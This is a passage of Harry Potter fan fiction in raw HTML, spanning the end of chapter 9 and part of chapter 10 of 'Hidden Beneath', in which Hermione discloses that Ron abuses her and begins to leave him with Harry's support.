arms.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why don&#8217;t you go get dressed?&#8221; He\nsmiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good idea.&#8221; Hermione wrapped the\nblanket around herself and turned quickly bolting up the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry too would get dressed so he\nhurried up to the boys dorm, getting a fresh pair of clothes.&nbsp; He really\nwouldn&#8217;t have minded her being naked twenty four hours a day, but he wanted her\nto trust him and not to take advantage of her.&nbsp; Also he did not want to\nappear to her as an overly sexed pervert.&nbsp; She deserved respect and that&#8217;s\njust what he would give her.&nbsp; His thoughts of Hermione ran wild as he\nproceeded to leave the room; he of course was back down in the common room\nfirst. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a few minutes Hermione\ndescended the stairs in a fresh pair of jeans and a red sweatshirt, she\nwandered over to Harry who was sitting next to the pretty Christmas tree.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Time to open your gifts\nHermione,&#8221; He grinned holding up a blue wrapped package.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You really didn&#8217;t have to you\nknow?&#8221;&nbsp; Hermione smiled and sat down next to him.&nbsp; &#8220;I feel so awful\nthat I didn&#8217;t get you anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But you did give me something\nHermione, your trust.&#8221; That&#8217;s the best gift I ever received.&#8221;&nbsp; He placed\nthe present in her lap.&nbsp; &#8220;This one is for Cinnamon first.&#8221; Harry grinned</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She started opening the blue\nwrapping and found a tall jar of doggie treats and a box of fuzzy balls.&nbsp;\n&#8220;Awww, she will simply love these.&#8221;&nbsp; Hermione was smiling as she looked at\nthe gift for her puppy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Another present was then pressed\ninto her lap.&nbsp; &#8220;Now this one is for you.&#8221; Harry announced proudly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione smiled and started\ntearing open the silver wrapped box, inside it she found another box.&nbsp; She\nlifted the lid and found ten sparkling, crystal roses. Six of the crystal\npetals were a deep red color so beautiful that it shamed the red, red\nruby.&nbsp; And the other six petals was a beautiful emerald green.&nbsp; A\nscent came off the crystal roses which made them smell real life like.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh my, they are so beautiful.&#8221;\nShe couldn&#8217;t stop staring at them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on, one more now.&#8221; Harry\nhanded her another box wrapped in gold paper, he watched her as she carefully unwrapped\nthe package.&nbsp; Inside a garment box was a beautiful red velvet cloak with\nwhite fur trim.&nbsp; The inside was made of fine silk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gods, this must have cost you a\nfortune.&#8221; She was amazed, almost afraid to accept these gifts.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Cost is no matter, you deserve\nit.&nbsp; You deserve so much and I want to be the one to give it to\nyou.&#8221;&nbsp; Harry smiled sweetly, &#8220;I want to be the one with you, who protects\nyou from harm, who makes you smile and laugh.&nbsp; I want to be the one who\nloves you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Tears sprung to Hermione&#8217;s\neyes.&nbsp; &#8220;Are you saying, what I think you&#8217;re saying?&#8221;&nbsp; Her heart raced\nand she didn&#8217;t understand why.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione Granger, I love you, I&#8217;m\nin love with you.&#8221;&nbsp; Harry paused taking a breath, &#8220;I hope you can find it\nin your heart to love me as well, because everything would be empty without you\nin it.&#8221; Harry felt a stinging in his eyes as he too couldn&#8217;t help the strong\nshow of emotion, everything he felt for her was pouring out and he could not\nstop.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That was exactly how she felt, an\nemotion so strong that she couldn&#8217;t even begin to describe it.&nbsp; Oh she\nloved him, she really did.&nbsp; Hermione sniffled and cracked a smile, &#8220;Oh\nGods Harry, I too love you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry didn&#8217;t wait, he pulled her\ninto a tight embrace, and he felt her clinging to him hard.&nbsp; He pressed\nhis lips urgently to the top of her head, to her cheeks anything he could\ntouch.&nbsp; His mouth then came down on hers in a powerful, earth shattering\nkiss.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a few moments of enjoying\nHarry&#8217;s mouth on hers, Hermione pulled away and glanced into his eyes.&nbsp; &#8220;I\nam going to leave Ron; as soon as he gets back from vacation I&#8217;m telling him\nit&#8217;s over.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;And I&#8217;ll be there\nwith you, to support you and help you if you need it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thank you.&#8221; Hermione nestled her\nhead against Harry&#8217;s chest; she never wanted to leave this spot. Ever.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was nearing the end of\nChristmas break, Hermione walking hand in hand with Harry, recalling the past\ntwo weeks events.&nbsp; This had been the best Christmas ever; she had so much\nfun, confessed deep emotional feelings.&nbsp; She felt like she was floating on\nair.&nbsp; A smile was always seen on her face now, and what a beautiful smile\nit was.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was quickly pulled into a\ncorner and caught off completely by surprise when Harry&#8217;s mouth came down on\nhers.&nbsp; She didn&#8217;t push him away, instead she wrapped her arms around his\nneck, pulling him tighter up against her kissing him back with all that she\ncould.&nbsp; Nothing could ruin this moment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well, well lookie what we have\nhere.&#8221;&nbsp; A voice drawled out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ah, the end of chapter 9, pretty\nexciting huh ^_^.&nbsp; Sorry about the big, big, big, big, big, big, delay in\nthis chapter, but it couldn&#8217;t be helped.&nbsp;&nbsp; Anyway I hope you enjoyed\nchapter 9,&nbsp; chapter 10 will be out as soon as I can get it out. ^_^&nbsp;\nTTFN ta, ta for now <br>\nRyoko Blue ^_^</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 10, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 10 (filtered)">\n\n<title>Hidden Beneath</title>\n\n<style>\n\n</style>\n\n\n\n<p>Disclaimer:&nbsp; Not mine, not mine, not mine.&nbsp; The original HP Characters and situations are not mine.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hidden Beneath</p>\n\n<p>Chapter 10&#8212;Too Much To Handle</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione felt her heart jump up into her throat as she looked at Lavender Brown who had an awfully cruel smirk playing upon her lips.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I didn&#8217;t think you had it in you <i>Herms</i>, to actually cheat behind Ron&#8217;s back.&#8221;&nbsp; Lavender lifted her hand and inspected her fingernails; she was due for another manicure.&nbsp; &#8220;Well, I wonder what he would have to say about something like this.&#8221;&nbsp; She lifted her head and smiled sweetly at Hermione, almost too sweetly. </p>\n\n<p>&nbsp;</p>\n\n<p>A large lump was forming in Hermione&#8217;s throat and she felt it hard to breathe, &#8220;You don&#8217;t know what he does.&#8221; Her voice was barely audible.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t have to know what he does to see that you are an ungrateful little wretch who is just using Ron!&#8221;&nbsp; Lavender&#8217;s face scrunched up and she was yelling, completely enraged now.&nbsp; &#8220;Once he leaves for a few days, you turn around and mess with another.&nbsp; How disgusting!&nbsp; I would spit on you but I don&#8217;t want to waste my precious fluids on a low, small person like you!&#8221; The sign of hate was clear in Lavender&#8217;s pretty blue eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whoa now!&#8221; Harry had to interject; he would not let another person abuse Hermione.&nbsp; Ron was bad enough.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione felt short of breath.&nbsp; The world was spinning, faster and faster.&nbsp; She looked over at Lavender who continued to argue with Harry.&nbsp; There was a ringing in Hermione&#8217;s ears.&nbsp;&nbsp; Lavender had no idea what she was talking about; Ron would constantly hit her, constantly called her names.&nbsp; He never has shown any amount of love to her, ever.&nbsp; She couldn&#8217;t take this.&nbsp; This was way too much to handle.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh you have no right to say anything.&#8221; Lavender turned her glare upon Harry cutting him off.&nbsp; &#8220;You are in it just as much as she is.&nbsp; How can she cheat on such a wonderful, honest, hardworking person like Ron!&nbsp;&nbsp; She is a whore; she is not fit to be with him.&nbsp; Not at all!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;SHUT UP!!&#8221;&nbsp; Hermione was breathing hard and fast.&nbsp; &#8220;ENOUGH!!&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>The sound of Hermione&#8217;s shouts bounced and echoed off the walls, Lavender shrieked a little not expecting it.&nbsp; Harry turned and looked at Hermione, her face was really flushed.&nbsp; She in fact looked ill.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione glared long and hard at Lavender.&nbsp;&nbsp; The blonde gulped, there was something not quite right about Hermione, she looked ready to kill someone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;YOU DON&#8217;T KNOW ANYTHING!!&#8221;&nbsp; Hermione shouted.&nbsp; &#8220;ANYTHING!!&#8221;&nbsp; Her breathing was increasing.&nbsp; &#8220;YOU DON&#8217;T KNOW WHAT HE DOES, EVERYDAY, EVERY MINUTE!&#8221;&nbsp; Hermione was unaware of the massive tears that were streaming down her cheeks.&nbsp; It was hard for her to take a breath.&nbsp;&nbsp; Harry knew she had problems, he knew they were really bad, but until now he really had no idea how deep her emotional trauma was.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Lavender looked upon Hermione wide eyed, not saying a word.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione continued, &#8220;HE HURTS ME! ALL THE TIME!! I HATE HIM, I HATE HIM!!&#8221;&nbsp; She screamed out so loud that it finally brought a few professors and other students around to see what all the trouble was about.&nbsp; As people began to collect in the hall, Hermione finally fell, landing on her knees.&nbsp; Her world continued to spin and it went black.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione!&#8221; Harry rushed over to her body that was lying on the floor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What is going on here?&#8221; McGonagall demanded looking down on Harry and then up at Lavender.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Lavender was still staring at Hermione.&nbsp; &#8220;She just went crazy, started shouting and well...&#8221;&nbsp; She took a breath.&nbsp; &#8220;And passed out, it was really strange.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is that what happened?&#8221; McGonagall looked down at Harry and he nodded.&nbsp; &#8220;She should be taken to the hospital wing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll do it Professor.&#8221; Harry effortlessly picked up Hermione and started carrying her up the stairs towards the hospital.</p>\n\n<p>&nbsp;</p>\n\n<p>Two figures from around the corner had watched the entire thing, their heads hung low.&nbsp; They felt bad, really bad.</p>\n\n<p>&nbsp;</p>\n\n<p>******</p>\n\n<p>&nbsp;</p>\n\n<p>Harry rushed Hermione into the hospital, sat her down on one of the beds and went into the back office to get a nurse. &nbsp;Not even a second later, Madame Pomfrey and a nurse hurried out with Harry and immediately attended to her.&nbsp; Madame Pomfrey looked up at Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m afraid you&#8217;ll have to leave, go on scoot.&#8221;&nbsp; She tried to shoo him away and the nurse got in his line of vision.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry craned his neck to try and see what they were doing to Hermione, &#8220;Is she going to be okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Both the nurse and Madame Pomfrey looked and Harry and said, &#8220;Out!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Reluctantly, Harry slowly turned and walked out of the hospital wing.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Two days later Hermione was still resting peacefully in the hospital wing.&nbsp; With strict orders to eliminate any stress, she slept nearly all the time, only waking to visit the lavatory or to eat.</p>\n\n<p>&nbsp;</p>\n\n<p>Down in The Great Hall, Harry had hardly eaten his lunch; his soup was getting cold as he stirred the spoon in it basically just playing with it.&nbsp; The table shook and that sloshed some of the soup about and out of the bowl while two bulky figures sat down across from Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Annoyed, Harry looked up at them, &#8220;What do you two want?&#8221; He snapped.</p>\n\n<p>&nbsp;</p>\n\n<p>Crabbe sighed, &#8220;We&#8217;re sorry about Hermione.&#8221;&nbsp; He looked down at the table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, we saw what happened.&#8221; Goyle didn&#8217;t lift his eyes, afraid to glance at Harry.&nbsp; &#8220;We had no idea it had gotten that bad.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We had no idea it was happening like that at all.&#8221;&nbsp; Crabbe finally looked up at Harry.&nbsp; &#8220;Is there anything we can do&#8230;to you know&#8230;help?&#8221;&nbsp; Crabbe&#8217;s face flushed.&nbsp; The two of them were not known for helping anyone but themselves.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You two want to help Hermione?&#8221;&nbsp; Harry was skeptical.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>The two boys nodded.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But I thought you two were working for him?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;&#8221; Crabbe started to say. &#8220;We were but some things just aren&#8217;t right, and beating up a girl is one of them.&#8221; Goyle replied.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry smiled a little, &#8220;Well it&#8217;s nice to see some people think that way.&#8221;&nbsp; Harry bit into a cracker.&nbsp; &#8220;So what did you two have in mind to help Hermione?&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We intend to keep Weasley away from her, by force if necessary.&#8221; Goyle leaned back a bit.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Personal body guards, I like that.&#8221;&nbsp; Harry pushed his bowl away; he was not going to eat that.&nbsp; &#8220;And just what is something like that going to cost me?&#8221;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nothing, we want to help.&nbsp; Honestly we do.&#8221; Crabbe smiled.&nbsp; It was almost strange not seeing a conniving smirk or an empty look on his face.&nbsp; Both boys actually seemed to be fairly decent.&nbsp; For Harry and Hermione things were definitely starting to look up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Can we go and see her?&#8221; Goyle sounded almost excited.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t see why not,&#8221; Harry stood.&nbsp; &#8220;I&#8217;ll in fact go with you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Both Crabbe and Goyle nodded knowingly, &#8220;Still don&#8217;t trust us with her do you Potter?&#8221; Crabbe replied.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s okay, we&#8217;re used to it.&nbsp; People don&#8217;t think that we are capable of being friendly.&nbsp; We have that whole dim wit look about us.&#8221; Goyle added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, it&#8217;s not that...&#8221;&nbsp; <i>&#8216;Not anymore,&#8217;</i> Harry kept that comment to himself.&nbsp; &#8220;I just want to see how she is doing myself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Both Crabbe and Goyle smiled great big wide smiles.&nbsp; They liked the idea of being trusted, and followed Harry up to see Hermione.&nbsp; Half way up the stairs both large boys stopped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wait, we&#8217;ll be right there.&#8221; Goyle announced and looked at Crabbe.&nbsp; &#8220;There is something we should do.&nbsp; We won&#8217;t be long.</p>\n\n<p>&nbsp;</p>\n\n<p>Crabbe nodded, agreeing with Goyle as if he knew what was going on in his friend&#8217;s mind.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry wondered if those two spoke telepathically, since they seemed to understand each other without words.&nbsp; But he just shrugged, &#8220;All right then, I&#8217;ll see you there I suppose.&#8221;&nbsp; Harry continued on up the stairs.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione was sitting up in the bed reading one of her textbooks as Harry came through the door.&nbsp;&nbsp; She looked over at him for a moment then back at her book.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Hermione, how are you feeling?&#8221; Harry pulled a chair over and sat down</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione took a breath, &#8220;Just fine I suppose.&#8221; She closed the book roughly and looked at Harry, &#8220;I completely lost it, didn&#8217;t I?&#8221;&nbsp; Hermione sighed.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>He nodded, &#8220;Yeah.&#8221; He looked down at the blankets.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I hate it, I hate everything I am.&#8221; She sniffled.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry leaned over a bit, lifting his hand cupping her cheek.&nbsp; &#8220;Don&#8217;t hate yourself; you&#8217;ve done nothing to deserve this.&nbsp; No one does.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then why do I feel it&#8217;s my fault?&#8221; Her eyes were watering, she kept blinking to try and keep the tears away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s a natural reaction when you&#8217;re always blamed, you get that feeling that you&#8217;re just not worth living that you&#8217;re better off dead.&#8221; Harry watched Hermione&#8217;s eyes close as she breathed in.&nbsp; &#8220;Hermione, you need to tell someone about what&#8217;s been happening to you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s eyes slammed open looking directly at Harry and he dropped his hand from her cheek, &#8220;No&#8230; I can&#8217;t.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You won&#8217;t even begin to get the help you need if you don&#8217;t tell an adult.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head, &#8220;You don&#8217;t understand.&nbsp; I can&#8217;t tell&#8230;I can&#8217;t.&nbsp;&nbsp; He&#8217;d kill me.&#8221; She was very scared of Ron and what he would do if he found out she told someone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You never mind that, Ron Weasley is not going to hurt you.&nbsp; He&#8217;ll go to prison and you&#8217;ll be safe.&#8221; Harry wanted her to tell someone who had the authority and the way to see that Hermione will never be hurt again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221;&nbsp; She glanced down at her hands.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please do this.&#8221;&nbsp; Harry was practically begging.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione lifted her eyes to his, &#8220;I&#8217;m scared.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry moved a bit wrapping his arms around her, pulling her into the comfort and safety of his embrace.&nbsp; &#8220;I know, but it&#8217;s the right thing to do.&nbsp; It takes a lot of courage to stand up for yourself and to ask for help, even when you&#8217;re life is threatened.&nbsp; Doing the right thing isn&#8217;t always easy, but I know you can do it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What if you&#8217;re wrong?&#8221; Hermione rested her head against Harry&#8217;s chest.</p>\n\n<p>&nbsp;</p>\n\n<p>He threaded his fingers through her hair, &#8220;I feel it in myself that I am not wrong, I know you have it in you to rescue yourself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked up at Harry and was about to say something when the hospital wing door opened.&nbsp; Both of them turned their heads to the door, pulling away from each other. Hermione held her breath.&nbsp; This was it, everything was over.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Crabbe and Goyle came through the doors carrying a large basket; both Harry and Hermione gave off a huge sigh of relief.&nbsp; Harry was ready to attack if it was Ron coming through the door.&nbsp;&nbsp; Harry would have attacked if it were Ron. The two boys lugged the huge basket over to Hermione&#8217;s bedside smiling.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;ve brought you something.&#8221; Crabbe said as he helped Goyle lift the basket up onto the bed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s this?&#8221; Hermione was truly interested, but was also wondering why these two were bringing something for her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s some food, lots and lots that you won&#8217;t believe your pretty eyes just how much we managed to fit into this basket.&#8221; Goyle grinned which in turn caused Hermione to smile.&nbsp; &#8220;We figured this hospital food is just plain awful, so we brought you something that is actually edible.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&#8220;You two didn&#8217;t have to do this.&#8221; &nbsp;Hermione looked at both of the boys in awe</p>\n\n<p>.</p>\n\n<p>&#8220;We know, but we wanted too.&#8221; Crabbe said as he took a long piece of French bread from the basket.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Once again the door opened and all four heads turned to see who it was.&nbsp; Sure enough in came Ron Weasley and he looked a bit upset.&nbsp; Hermione took a deep breath, she was going to tell him it was over, that she did not want to be with him anymore.&nbsp; Harry stood as Ron approached the bed looking at the four of them; he looked like he was thinking of what to say.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So what stupid thing did you do to land you in here?&#8221; Ron controlled his temper a lot considering there were a few people around.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked down at her hands, her fingers gripping the blanket tight, &#8220;I didn&#8217;t do anything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I expected you to meet me at the train station, but no I come back here to hear that you&#8217;re in the hospital.&nbsp; So what happened?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I passed out, that&#8217;s all.&#8221; Hermione kept her eyes lowered, she couldn&#8217;t do it.&nbsp; There was no way he would let her leave.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was it, you fainted ?!&#8221; Ron scoffed. &#8220;Figures you&#8217;d do something idiotic like that.&nbsp; You were probably studying too hard, stupid really.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry could tell from the way she was holding her shoulders that she wouldn&#8217;t be able to tell him.&nbsp; He would have to give her a little push.&nbsp; Harry cleared his throat and Hermione looked at him, Harry gestured with a tilt of his head and with a raise of his brows, he saw Hermione take a deep breath.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um Ron&#8230;I have uh to tell you something important.&#8221; Hermione turned her gaze upon Ron she could tell he was mad.&nbsp; He had no good reason to be mad; he was behaving like a child.&nbsp; She hated that.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron looked irritated, &#8220;Well what is it? I don&#8217;t have all day you know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione kept her gaze locked on his in determination, &#8220;I don&#8217;t think&#8230;that we um&#8230; should&#8230;be together anymore.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?!&#8221; Ron, infuriated, took a step forward ready to strangle her the Muggle way, but a long loaf of bread got in his way.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take a step back from the lady.&#8221; Crabbe demanded holding the French bread much like a sword blocking Ron&#8217;s way.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron glared at Crabbe, &#8220;What&#8217;s the meaning of this?&nbsp; What are you doing you glob of fat?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Without warning Crabbe whacked Ron on the back of the head with the bread, it turned out the bread was a tad stale so it hurt a bit.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the hell did you do that for?!&#8221; Ron rubbed the back of his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t call me names,&#8221; Crabbe whacked Ron again just for good measure.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron growled, &#8220;Cut that out!&#8221; He turned his angry glare to Hermione, &#8220;Why would you want to do such a foolish thing as leave me?!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m tired Ron, I&#8217;m so tired of it all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron was fuming, his blood was boiling so hot he would blow his top. &#8220;This wouldn&#8217;t have to do with him.&#8221; Ron jerked his head 